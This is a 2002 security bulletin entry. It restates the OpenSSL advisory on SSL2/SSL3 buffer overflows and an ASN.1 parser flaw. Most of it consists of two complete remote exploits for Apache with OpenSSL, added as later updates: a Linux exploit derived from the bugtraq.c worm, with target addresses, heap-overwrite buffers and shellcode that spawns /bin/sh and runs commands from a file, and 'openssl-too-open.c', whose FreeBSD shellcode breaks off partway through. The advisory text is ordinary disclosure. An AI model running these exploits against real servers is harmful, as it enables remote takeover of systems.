30th Jul 2002 [SBWID-5580]
COMMAND
OpenSSL multiple remote vulnerabilities
SYSTEMS AFFECTED
OpenSSL 0.9.6d or earlier
OpenSSL 0.9.7-beta2 or earlier
CERT list of server side vulnerable software :
http://www.cert.org/advisories/CA-2002-23.html
PROBLEM
In OpenSSL Security Advisory [30 July 2002] Ben Laurie expose 5 openSSL
remote vulnerabilities. Little reminder: ssl is used in most https
servers, TLS mail servers, SSH, etc...
This advisory consists of two independent advisories
Advisory 1
==========
A.L. Digital Ltd and The Bunker (http://www.thebunker.net/) are
conducting a security review of OpenSSL, under the DARPA program CHATS.
Vulnerabilities
---------------
All four of these are potentially remotely exploitable.
1. The client master key in SSL2 could be oversized and overrun a
buffer. This vulnerability was also independently discovered by
consultants at Neohapsis (http://www.neohapsis.com/) who have also
demonstrated that the vulerability is exploitable. Exploit code is
NOT available at this time.
2. The session ID supplied to a client in SSL3 could be oversized and
overrun a buffer.
3. The master key supplied to an SSL3 server could be oversized and
overrun a stack-based buffer. This issues only affects OpenSSL
0.9.7 before 0.9.7-beta3 with Kerberos enabled.
4. Various buffers for ASCII representations of integers were too
small on 64 bit platforms.
In addition various potential buffer overflows not known to be
exploitable have had assertions added to defend against them.
Who is affected?
----------------
Everyone using OpenSSL 0.9.6d or earlier, or 0.9.7-beta2 or earlier or
current development snapshots of 0.9.7 to provide SSL or TLS is
vulnerable, whether client or server. 0.9.6d servers on 32-bit systems
with SSL 2.0 disabled are not vulnerable.
SSLeay is probably also affected.
Known Exploits
--------------
There are no know exploits available for these vulnerabilities. As
noted above, Neohapsis have demonstrated internally that an exploit is
possible, but have not released the exploit code.
Acknowledgements
----------------
The project leading to this advisory is sponsored by the Defense
Advanced Research Projects Agency (DARPA) and Air Force Research
Laboratory, Air Force Materiel Command, USAF, under agreement number
F30602-01-2-0537.
Advisory 2
==========
Vulnerabilities
---------------
The ASN1 parser can be confused by supplying it with certain invalid
encodings.
The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CAN-2002-0659 to this issue.
Who is affected?
----------------
Any OpenSSL program which uses the ASN1 library to parse untrusted
data. This includes all SSL or TLS applications, those using S/MIME
(PKCS#7) or certificate generation routines.
Acknowledgements
----------------
This vulnerability was discovered by Adi Stav <stav@mercury.co.il>
and James Yonan <jim@ntlp.com> independently. The patch is partly
based on a version by Adi Stav.
The patch and advisory were prepared by Dr. Stephen Henson.
Update (31 July 2002)
======
Mark Andrews noticed that Bind might also be vulnerable... BIND 9.1.x
ship with a copy of the vulnerable sections of OpenSSL crypto library
(obj_dat.c and asn1_lib.c). BIND 9.2 is also vulnerable if built with
OpenSSL (configure --with-openssl).
Update (26 September 2002)
======
/*
*
* Linux Apache + OpenSSL exploit
*
* created by andy^ from the bugtraq.c source
*
* compile: gcc -lcrypto -o apache-ssl-bug apache-ssl-bug.c
*
* Option -i specifies the file containing the commands to be
* run on the remote host.
*
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/telnet.h>
#include <sys/wait.h>
#include <signal.h>
#define SCAN
#undef LARGE_NET
#undef FREEBSD
#define BROADCASTS 2
#define LINKS 128
#define CLIENTS 128
#define PORT 2002
#define SCANPORT 80
#define SCANTIMEOUT 5
#define MAXPATH 4096
#define ESCANPORT 10100
#define VERSION 12092002
//////////////////////////////////////////////////////////////////////////////////////
// Macros //
//////////////////////////////////////////////////////////////////////////////////////
#define FREE(x) {if (x) { free(x);x=NULL; }}
#define DEBUG(x) {if (debug) { printf("DEBUG: %s\n",x); }}
unsigned long numlinks, *links=NULL, myip=0;
unsigned long sequence[LINKS], rsa[LINKS];
unsigned int *pids=NULL;
unsigned long numpids=0;
unsigned long uptime=0, in=0, out=0;
unsigned long synctime=0;
int debug=0;
int port=443;
int arch=-1;
char *filename=NULL;
//////////////////////////////////////////////////////////////////////////////////////
// Public routines //
//////////////////////////////////////////////////////////////////////////////////////
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/x509.h>
#include <openssl/evp.h>
void cleanup(char *buf) {
while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ') buf[strlen(buf)-1] = 0;
while(*buf == '\n' || *buf == '\r' || *buf == ' ') {
unsigned long i;
for (i=strlen(buf)+1;i>0;i--) buf[i-1]=buf[i];
}
}
char *GetAddress(long ip) {
struct sockaddr_in sin;
fd_set fds;
int n,d,sock;
char buf[1024];
struct timeval tv;
sock = socket(PF_INET, SOCK_STREAM, 0);
sin.sin_family = PF_INET;
sin.sin_addr.s_addr = ip;
sin.sin_port = htons(80);
if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
tv.tv_sec = 15;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sock, &fds);
memset(buf, 0, sizeof(buf));
if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
if(FD_ISSET(sock, &fds)) {
if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) {
char *start=buf+d+strlen("Server: ");
for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
cleanup(start);
return strdup(start);
}
}
}
return NULL;
}
int writem(int sock, char *str) {
return write(sock,str,strlen(str));
}
char readbuf[1025];
int readm(int sock) {
bzero(readbuf,sizeof(readbuf));
return read(sock,readbuf,1024);
}
#define MAX_ARCH 21
struct archs {
char *os;
char *apache;
int func_addr;
} architectures[] = {
{"Gentoo", "", 0x08086c34},
{"Debian", "1.3.26", 0x080863cc},
{"Red-Hat", "1.3.6", 0x080707ec},
{"Red-Hat", "1.3.9", 0x0808ccc4},
{"Red-Hat", "1.3.12", 0x0808f614},
{"Red-Hat", "1.3.12", 0x0809251c},
{"Red-Hat", "1.3.19", 0x0809af8c},
{"Red-Hat", "1.3.20", 0x080994d4},
{"Red-Hat", "1.3.26", 0x08161c14},
{"Red-Hat", "1.3.23", 0x0808528c},
{"Red-Hat", "1.3.22", 0x0808400c},
{"SuSE", "1.3.12", 0x0809f54c},
{"SuSE", "1.3.17", 0x08099984},
{"SuSE", "1.3.19", 0x08099ec8},
{"SuSE", "1.3.20", 0x08099da8},
{"SuSE", "1.3.23", 0x08086168},
{"SuSE", "1.3.23", 0x080861c8},
{"Mandrake", "1.3.14", 0x0809d6c4},
{"Mandrake", "1.3.19", 0x0809ea98},
{"Mandrake", "1.3.20", 0x0809e97c},
{"Mandrake", "1.3.23", 0x08086580},
{"Slackware", "1.3.26", 0x083d37fc},
{"Slackware", "1.3.26",0x080b2100}
};
extern int errno;
int cipher;
int ciphers;
#define FINDSCKPORTOFS 208 + 12 + 46
unsigned char overwrite_session_id_length[] =
"AAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"\x70\x00\x00\x00";
unsigned char overwrite_next_chunk[] =
"AAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAA"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"AAAA"
"\x01\x00\x00\x00"
"AAAA"
"AAAA"
"AAAA"
"\x00\x00\x00\x00"
"AAAA"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"AAAAAAAA"
"\x00\x00\x00\x00"
"\x11\x00\x00\x00"
"fdfd"
"bkbk"
"\x10\x00\x00\x00"
"\x10\x00\x00\x00"
"\xeb\x0a\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x31\xdb"
"\x89\xe7"
"\x8d\x77\x10"
"\x89\x77\x04"
"\x8d\x4f\x20"
"\x89\x4f\x08"
"\xb3\x10"
"\x89\x19"
"\x31\xc9"
"\xb1\xff"
"\x89\x0f"
"\x51"
"\x31\xc0"
"\xb0\x66"
"\xb3\x07"
"\x89\xf9"
"\xcd\x80"
"\x59"
"\x31\xdb"
"\x39\xd8"
"\x75\x0a"
"\x66\xb8\x12\x34"
"\x66\x39\x46\x02"
"\x74\x02"
"\xe2\xe0"
"\x89\xcb"
"\x31\xc9"
"\xb1\x03"
"\x31\xc0"
"\xb0\x3f"
"\x49"
"\xcd\x80"
"\x41"
"\xe2\xf6"
"\x31\xc9"
"\xf7\xe1"
"\x51"
"\x5b"
"\xb0\xa4"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80";
#define BUFSIZE 16384
#define CHALLENGE_LENGTH 16
#define RC4_KEY_LENGTH 16
#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
#define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1])) )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2)
typedef struct {
int sock;
unsigned char challenge[CHALLENGE_LENGTH];
unsigned char master_key[RC4_KEY_LENGTH];
unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
int conn_id_length;
unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
X509 *x509;
unsigned char* read_key;
unsigned char* write_key;
RC4_KEY* rc4_read_key;
RC4_KEY* rc4_write_key;
int read_seq;
int write_seq;
int encrypted;
} ssl_conn;
long getip(char *hostname) {
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0) {
if ((he = gethostbyname(hostname)) == NULL) exit(-1);
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
int sh(int sockfd) {
char localip[256], rcv[1024];
fd_set rset;
int maxfd, n;
FILE *f;
char s[256];
alarm(3600);
DEBUG("Sending data");
writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n");
/* writem(sockfd,"rm -rf /tmp/.bugtraq.c;cat > /tmp/.uubugtraq << __eof__;\n");
encode(sockfd);
writem(sockfd,"__eof__\n");
conv(localip,256,myip);
memset(rcv,0,1024);
sprintf(rcv,"/usr/bin/uudecode -o /tmp/.bugtraq.c /tmp/.uubugtraq;gcc -o /tmp/.bugtraq /tmp/.bugtraq.c -lcrypto;/tmp/.bugtraq %s;exit;\n",localip);
writem(sockfd,rcv);*/
if((f=fopen(filename,"rt"))!=NULL){
bzero(s,256);
while(!feof(f)){
if(fgets(s,255,f)){
DEBUG(s);
writem(sockfd,s);
}
}
fclose(f);
}
readm(sockfd);
printf("%s",readbuf);
DEBUG("Data sent");
/* for (;;) {
FD_ZERO(&rset);
FD_SET(sockfd, &rset);
select(sockfd+1, &rset, NULL, NULL, NULL);
if (FD_ISSET(sockfd, &rset))
bzero(rcv,sizeof(rcv));
if ((n = read(sockfd, rcv, sizeof(rcv))) == 0){
return 0;
} else {
printf("%s",rcv);
}
}*/
return 0;
}
int get_local_port(int sock) {
struct sockaddr_in s_in;
unsigned int namelen = sizeof(s_in);
if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) return 1;
return s_in.sin_port;
}
int connect_host(long host, int port) {
struct sockaddr_in s_in;
int sock;
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = host;
s_in.sin_port = htons(port);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) return 1;
alarm(60);
if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) return 1;
alarm(0);
return sock;
}
ssl_conn* ssl_connect_host(long host, int port) {
ssl_conn* ssl;
if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) return NULL;
ssl->encrypted = 0;
ssl->write_seq = 0;
ssl->read_seq = 0;
ssl->sock = connect_host(host, port);
return ssl;
}
char res_buf[30];
int read_data(int sock, unsigned char* buf, int len) {
int l;
int to_read = len;
do {
if ((l = read(sock, buf, to_read)) < 0) return 1;
to_read -= len;
} while (to_read > 0);
return len;
}
int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) {
int rec_len, padding;
read_data(ssl->sock, buf, 2);
if ((buf[0] & 0x80) == 0) {
rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
read_data(ssl->sock, &buf[2], 1);
padding = (int)buf[2];
}
else {
rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
padding = 0;
}
if ((rec_len <= 0) || (rec_len > buf_size)) return 1;
read_data(ssl->sock, buf, rec_len);
if (ssl->encrypted) {
if (MD5_DIGEST_LENGTH + padding >= rec_len) {
if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) return 0;
else return 1;
}
RC4(ssl->rc4_read_key, rec_len, buf, buf);
rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
}
if (buf[0] == SSL2_MT_ERROR) {
if (rec_len != 3) return 1;
else return 0;
}
return rec_len;
}
int send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) {
unsigned char buf[BUFSIZE];
unsigned char* p;
int tot_len;
MD5_CTX ctx;
int seq;
if (ssl->encrypted) tot_len = rec_len + MD5_DIGEST_LENGTH;
else tot_len = rec_len;
if (2 + tot_len > BUFSIZE) {
DEBUG("sens_ssl_packet: packet larger than BUFSIZE");
return 1;
}
p = buf;
s2n(tot_len, p);
buf[0] = buf[0] | 0x80;
if (ssl->encrypted) {
seq = ntohl(ssl->write_seq);
MD5_Init(&ctx);
MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
MD5_Update(&ctx, rec, rec_len);
MD5_Update(&ctx, &seq, 4);
MD5_Final(p, &ctx);
p+=MD5_DIGEST_LENGTH;
memcpy(p, rec, rec_len);
RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
}
else memcpy(p, rec, rec_len);
send(ssl->sock, buf, 2 + tot_len, 0);
ssl->write_seq++;
return 0;
}
int send_client_hello(ssl_conn *ssl) {
int i;
unsigned char buf[BUFSIZE] =
"\x01"
"\x00\x02"
"\x00\x18"
"\x00\x00"
"\x00\x10"
"\x07\x00\xc0\x05\x00\x80\x03\x00"
"\x80\x01\x00\x80\x08\x00\x80\x06"
"\x00\x40\x04\x00\x80\x02\x00\x80"
"";
for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->challenge[i] = (unsigned char) (rand() >> 24);
memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
if(send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH)) return 1;
return 0;
}
int get_server_hello(ssl_conn* ssl) {
unsigned char buf[BUFSIZE];
unsigned char *p, *end;
int len;
int server_version, cert_length, cs_length, conn_id_length;
int found;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) return 1;
if (len < 11) return 1;
p = buf;
if (*(p++) != SSL2_MT_SERVER_HELLO) return 1;
if (*(p++) != 0) return 1;
if (*(p++) != 1) return 1;
n2s(p, server_version);
if (server_version != 2) return 1;
n2s(p, cert_length);
n2s(p, cs_length);
n2s(p, conn_id_length);
if (len != 11 + cert_length + cs_length + conn_id_length) return 1;
ssl->x509 = NULL;
ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
if (ssl->x509 == NULL) return 1;
if (cs_length % 3 != 0) return 1;
found = 0;
for (end=p+cs_length; p < end; p += 3) if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) found = 1;
if (!found) return 1;
if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) return 1;
ssl->conn_id_length = conn_id_length;
memcpy(ssl->conn_id, p, conn_id_length);
return 0;
}
int send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
int encrypted_key_length, key_arg_length, record_length;
unsigned char* p;
int i;
EVP_PKEY *pkey=NULL;
unsigned char buf[BUFSIZE] =
"\x02"
"\x01\x00\x80"
"\x00\x00"
"\x00\x40"
"\x00\x08";
p = &buf[10];
for (i = 0; i < RC4_KEY_LENGTH; i++) ssl->master_key[i] = (unsigned char) (rand() >> 24);
pkey=X509_get_pubkey(ssl->x509);
if (!pkey) return 1;
if (pkey->type != EVP_PKEY_RSA) return 1;
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
if (encrypted_key_length <= 0) return 1;
p += encrypted_key_length;
if (key_arg_overwrite) {
for (i = 0; i < 8; i++) *(p++) = (unsigned char) (rand() >> 24);
memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
key_arg_length = 8 + key_arg_overwrite_len;
}
else key_arg_length = 0;
p = &buf[6];
s2n(encrypted_key_length, p);
s2n(key_arg_length, p);
record_length = 10 + encrypted_key_length + key_arg_length;
if(send_ssl_packet(ssl, buf, record_length)) return 1;
ssl->encrypted = 1;
return 0;
}
void generate_key_material(ssl_conn* ssl) {
unsigned int i;
MD5_CTX ctx;
unsigned char *km;
unsigned char c='0';
km=ssl->key_material;
for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
MD5_Init(&ctx);
MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
MD5_Update(&ctx,&c,1);
c++;
MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
MD5_Final(km,&ctx);
km+=MD5_DIGEST_LENGTH;
}
}
void generate_session_keys(ssl_conn* ssl) {
generate_key_material(ssl);
ssl->read_key = &(ssl->key_material[0]);
ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
}
int get_server_verify(ssl_conn* ssl) {
unsigned char buf[BUFSIZE];
int len;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) return 1;
if (len != 1 + CHALLENGE_LENGTH) return 1;
if (buf[0] != SSL2_MT_SERVER_VERIFY) return 1;
if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) return 1;
return 0;
}
int send_client_finished(ssl_conn* ssl) {
unsigned char buf[BUFSIZE];
buf[0] = SSL2_MT_CLIENT_FINISHED;
memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
if(send_ssl_packet(ssl, buf, 1+ssl->conn_id_length)) return 1;
return 0;
}
int get_server_finished(ssl_conn* ssl) {
unsigned char buf[BUFSIZE];
int len;
int i;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) return 1;
if (buf[0] != SSL2_MT_SERVER_FINISHED) return 1;
if (len <= 112) return 1;
cipher = *(int*)&buf[101];
ciphers = *(int*)&buf[109];
return 0;
}
int get_server_error(ssl_conn* ssl) {
unsigned char buf[BUFSIZE];
int len;
if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) return 1;
return 0;
}
int exploit(long ip) {
int i;
int N = 20;
ssl_conn* ssl1;
ssl_conn* ssl2;
char *a;
alarm(3600);
if ((a=GetAddress(ip)) == NULL){
printf("Could not connect\n");
return 1;
}
if ( (arch == -1) || (arch >= MAX_ARCH) ){
DEBUG("Checking version");
if (strncmp(a,"Apache",6)){
printf("The web server is not Apache\n\n");
return 1;
}
for (i=0;i<MAX_ARCH;i++) {
if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
arch=i;
break;
}
}
} else {
i=arch;
}
if (arch == -1) arch=9;
printf("Selected architecture: %s Apache %s (%d)\n",architectures[i].os,architectures[i].apache,arch);
srand(0x31337);
DEBUG("Creating 20 dummy connections");
for (i=0; i<N; i++) {
connect_host(ip, port);
usleep(100000);
}
DEBUG("connected");
DEBUG("ssl_connect_host");
if((ssl1 = ssl_connect_host(ip, port)) == NULL){
DEBUG("could not connect ssl1");
return 1;
}
DEBUG("ssl_connect_host");
if((ssl2 = ssl_connect_host(ip, port)) == NULL){
DEBUG("could not connect ssl2");
return 1;
}
DEBUG("send_client_hello");
send_client_hello(ssl1);
DEBUG("get_server_hello");
if(get_server_hello(ssl1)) return 1;
DEBUG("send_client_master_key");
if(send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1)) return 1;
DEBUG("generate_session_keys");
generate_session_keys(ssl1);
DEBUG("get_server_verify");
if(get_server_verify(ssl1)) return 1;
DEBUG("send_client_finished");
if(send_client_finished(ssl1)) return 1;
DEBUG("get_server_finished");
if(get_server_finished(ssl1)) return 1;
DEBUG("get_local_port");
port = get_local_port(ssl2->sock);
DEBUG("overwrite_next_chunk");
overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
DEBUG("overwrite_next_chunk");
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
*(int*)&overwrite_next_chunk[156] = cipher;
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
*(int*)&overwrite_next_chunk[196] = ciphers + 16;
DEBUG("send_client_hello");
send_client_hello(ssl2);
DEBUG("get_server_hello");
if(get_server_hello(ssl2)) return 1;
DEBUG("send_client_master_key");
if(send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1)) return 1;
DEBUG("generate_session_keys");
generate_session_keys(ssl2);
DEBUG("get_server_verify");
if(get_server_verify(ssl2)) return 1;
for (i = 0; i < ssl2->conn_id_length; i++) ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
DEBUG("send_client_finished");
if(send_client_finished(ssl2)) return 1;
DEBUG("get_server_error");
if(get_server_error(ssl2)) return 1;
DEBUG("sh");
sh(ssl2->sock);
DEBUG("close");
close(ssl2->sock);
close(ssl1->sock);
return 0;
}
//////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////
int main(int argc, char **argv) {
struct hostent *he;
int i=0,c;
struct in_addr in;
printf("\nApache & OpenSSL 0.9.6 Exploit\nMade by andy^ after the bugtraq.c worm\n\n");
if(argc<2){
printf("Syntax: %s [options] host\n\n",argv[0]);
printf("Options:\n\n");
printf("\t-p port\t\tport to connect (default 443)\n");
printf("\t-v\t\tverbose\n");
printf("\t-i file\t\tinput file (default ssl2.txt)\n");
printf("\t-t target\ttarget\n");
printf("\t\t\t\t0\tAutodetect\n");
for(i=0;i<MAX_ARCH;i++){
printf("\t\t\t\t%d\t%s %s\n",i+1,architectures[i].os,architectures[i].apache);
}
exit(1);
}
opterr=0;
while(1){
c=getopt(argc,argv,":p:vi:t:");
if(c==-1) break;
switch(c){
case 'p':
port=atoi(optarg);
break;
case 'v':
debug=1;
break;
case 'i':
if((filename=strdup(optarg))==NULL){
perror("strdup");
return 1;
}
break;
case 't':
arch=atoi(optarg)-1;
break;
case ':':
printf("Missing argument for -%c\n",optopt);
exit(1);
break;
}
}
if(filename==NULL){
if((filename=strdup("ssl2.c"))==NULL){
perror("strdup");
return 1;
}
}
if(optind >=argc ){
printf("No hostname specified\n\n");
return 1;
}
uptime=time(NULL);
srand(time(NULL)^getpid());
if( (he=gethostbyname(argv[optind])) == NULL ){
perror("gethostbyname");
return 1;
}
while(he->h_addr_list[i]){
memcpy(&in.s_addr,he->h_addr_list[i],4);
printf("Trying to exploit %s\n",inet_ntoa(in));
if(exploit(in.s_addr)==0){
printf("DONE\n");
return 0;
} else {
printf("FAILED\n");
return 1;
}
i++;
}
if(filename) free(filename);
return 0;
}
Update (03 October 2002)
======
/*
* openssl-too-open.c - OpenSSL remote apache exploit
*
* by Solar Eclipse <solareclipse@phreedom.org>
*
* Compile with: gcc -o opeen frassl.c -lcrypto
*
* Private 0dd code.
*
*
* Updated by CrZ [crazy_einstein@yahoo.com] LimpidByte [lbyte.void.ru]
*
* AddOn:
* + BruteForce by using targets & by using start address
*
*
* Updated by ech0 [ech0@l33tsecurity.com]
*
* Replace:
* FreeBSD targets & FreeBSD shellcode
* ysbadaddn thnx for GOT's =)
* -more fixes by ysbadaddn so this fuqn thing works :)
* -cleaned some stuff up to.
*/
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <openssl/ssl.h> //ssl.h
#include <openssl/rsa.h> //rsa.h
#include <openssl/x509.h> //x509.h
#include <openssl/evp.h> //evp.h
/* update this if you add architectures */
#define MAX_ARCH 21
int sslerror=0;
struct archs {
char* desc;
int func_addr; /* objdump -R /usr/sbin/apache | grep free */
} architectures[] = {
{
"FreeBSD 4.6-RELEASE-p1 (Apache-1.3.26)",
0x08090bec
},
{
"FreeBSD 4.5-RELEASE (Apache-1.3.26)",
0x080bed9c
},
{
"FreeBSD 4.5-RELEASE (Apache-1.3.26)",
0x081ab950
},
{
"FreeBSD 4.4-STABLE (Apache-1.3.19)",
0x080abcf4
},
{
"FreeBSD 4.4-RELEASE (Apache-1.3.26)",
0x080bed9c
},
{
NULL,
0
}
/*FreeBSD targets*/
};
extern int errno;
int cipher;
int ciphers;
char programexit = 0;
/* the offset of the local port from be beginning of the overwrite next chunk
buffer */
#define FINDSCKPORTOFS 208 + 12 + 32
#define BSD
unsigned char overwrite_session_id_length[] =
"AAAA" /* int master key length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL
MAX MASTER KEY LENGTH]; */
"\x70\x00\x00\x00"; /* unsigned int session id length; */
unsigned char overwrite_next_chunk[] =
"AAAA" /* int master key length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL
MAX MASTER KEY LENGTH]; */
"AAAA" /* unsigned int session id length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char session id[SSL MAX SSLSESSION ID
LENGTH]; */
"AAAA" /* unsigned int sid ctx length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char sid ctx[SSL MAX SID
CTXLENGTH]; */
"AAAA" /* int not resumable; */
"\x00\x00\x00\x00" /* struct sess cert st *sess cert; */
"\x00\x00\x00\x00" /* X509 *peer; */
"AAAA" /* long verify result; */
"\x01\x00\x00\x00" /* int references; */
"AAAA" /* int timeout; */
"AAAA" /* int time */
"AAAA" /* int compress meth; */
"\x00\x00\x00\x00" /* SSL CIPHER *cipher; */
"AAAA" /* unsigned long cipher id; */
"\x00\x00\x00\x00" /* STACK OF(SSL CIPHER) *ciphers; */
"\x00\x00\x00\x00\x00\x00\x00\x00" /* CRYPTO EX DATA ex data; */
"AAAAAAAA" /* struct ssl session st *prev,*next; */
"\x00\x00\x00\x00" /* Size of previous chunk */
"\x11\x00\x00\x00" /* Size of chunk, in bytes */
"fdfd" /* Forward and back pointers */
"bkbk"
"\x10\x00\x00\x00" /* Size of previous chunk */
"\x10\x00\x00\x00" /* Size of chunk, PREV INUSE is set */
/*
* this is some shitty shellcode
* but i hope it works
*/
/* shellcode start */
"\xeb\x0a\x90\x90" /* jump 10 bytes ahead, land at shellcode */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* this is overwritten with FD by the unlink macro */
/********************* findsckcode 59 bytes ********************/
"\x56" /* pushl %esi */
"\x5f" /* popl %edi */
"\x83\xef\x7c" /* subl $0x7c,%edi */
"\x57" /* pushl %edi */
"\xb0\x10" /* movb $0x10,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\x57" /* pushl %edi */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x51" /* pushl %ecx */
"\x33\xc0" /* xorl %eax,%eax */
"\xb0\x1f" /* movb $0x1f,%al */
"\x51" /* pushl %ecx */
"\xcd\x80" /* int $0x80 */
"\x59" /* popl %ecx */
"\x59" /* popl %ecx */
"\x33\xdb" /* xorl %ebx,%ebx */
"\x3b\xc3" /* cmpl %ebx,%eax */
"\x75\x0a" /* jne <findsckcode+40> */
"\x66\xbb\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x5f\x02" /* cmpw %bx,0x2(%edi) */
"\x74\x02" /* je <findsckcode+42> */
"\xe2\xe4" /* loop <findsckcode+14> */
"\x51" /* pushl %ecx */
"\x50" /* pushl %eax */
"\x91" /* xchgl %ecx,%eax */
"\xb1\x03" /* movb $0x03,%cl */
"\x49" /* decl %ecx */
"\x89\x4c\x24\x08" /* movl %ecx,0x8(%esp) */
"\x41" /* incl %ecx */
"\xb0\x5a" /* movb $0x5a,%al */
"\xcd\x80" /* int $0x80 */
"\xe2\xf4" /* loop <findsckcode+47> */
/********************* setuidcode 7 bytes *************************/
"\x33\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\xb0\x17" /* movb $0x17,%al */
"\x50" /* pushl %eax */
"\xcd\x80" /* int $0x80 */
/************ execl("/bin/sh", "/bin/sh", 0); 23 bytes ************/
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
